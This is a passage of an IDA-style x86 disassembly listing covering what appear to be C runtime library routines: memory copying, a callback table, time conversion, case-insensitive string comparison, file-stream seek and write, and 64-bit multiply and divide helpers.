loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC95C
		call	sub_422608
		mov	edx, dword_4DC95C
		pop	ecx
		mov	ecx, dword_4DC958
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC95C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC958
		sub	ecx, dword_4DC95C
		mov	dword_4DC95C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC958, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC958, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC95C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC95C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC95C
		mov	dword_4DC958, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 277016Eh
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2880000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB312
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB310
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB30E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB30A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB308
		jnz	short loc_41D0E6
		mov	eax, dword_4DB300
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB308
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB300, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB35C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB2A8, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26803E9h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2670E9Dh
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB2A8, 0Dh
		mov	dword_4DB2AC, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

